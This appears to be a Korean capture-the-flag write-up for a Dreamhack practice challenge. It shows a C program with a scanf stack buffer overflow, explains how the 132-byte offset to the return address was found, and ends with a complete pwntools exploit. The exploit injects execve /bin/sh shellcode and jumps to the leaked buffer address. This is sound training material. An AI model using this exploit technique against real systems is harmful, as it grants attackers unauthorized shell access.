#include <stdio.h>#include <stdlib.h>#include <signal.h>#include <unistd.h>void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();

    printf("buf = (%p)\\n", buf);
    scanf("%141s", buf);

    return 0;
}

문제의 소스코드다.

취약점을 찾을 수 있는 곳은 scanf 부분이다.

buf을 0x80 크기만큼 정했지만

scanf 를 통해 141byte 까지 받아올 수 있기에 취약점이 발생한다.

gdb를 통해 pattern 을 만들어 ret 까지 거리를 구해보자.

이를통해 esp 에서 ret 진입하기 직전까지 거리가 132 인 것을 확인할 수 있다.

이후 욤뇸뇸하게 쉘코드를 구굴링 해봤다.

https://hackhijack64.tistory.com/38

32비트 리눅스 환경에서의 쉘코드다.

이후 받은 buf 값에 쉘코드 + dummy 값을 넣어 총 132byte를 채워 버퍼오버플로우를 익히고 ret 영역을 침범하여

다시 buf 값에 이동하면 쉘코드가 실행되어 flag을 탈취 할 수 있을 것이다.

그렇게 짠 익스플로잇 코드는 다음과 같다.

from pwn import *

p = remote('host3.dreamhack.games', 13328)

buf_addr = int(p.recv()[7:17], 16)# buf = (0xfff5edd8) 출력된다.#buf = (0xfff5edd8)#012345678911234567# 7:17 까지 p.recv로 받는다면 0xfff5edd8 을 16진수 형식으로 저장할 수 있다.

shellcode = b'\\x31\\xc0\\x50\\x68\\x6e\\x2f\\x73\\x68\\x68\\x2f\\x2f\\x62\\x69\\x89\\xe3\\x31\\xc9\\x31\\xd2\\xb0\\x08\\x40\\x40\\x40\\xcd\\x80'

payload = shellcode# Shellcode
payload += b'A' * 106# Shellcode + dummy 값
payload += p32(buf_addr)# 리틀엔디안 형식으로 ret 값 침범하여 값을 넣는다.

p.sendline(payload)# payload 전송 !
p.interactive()# 쉘 실행 및 유지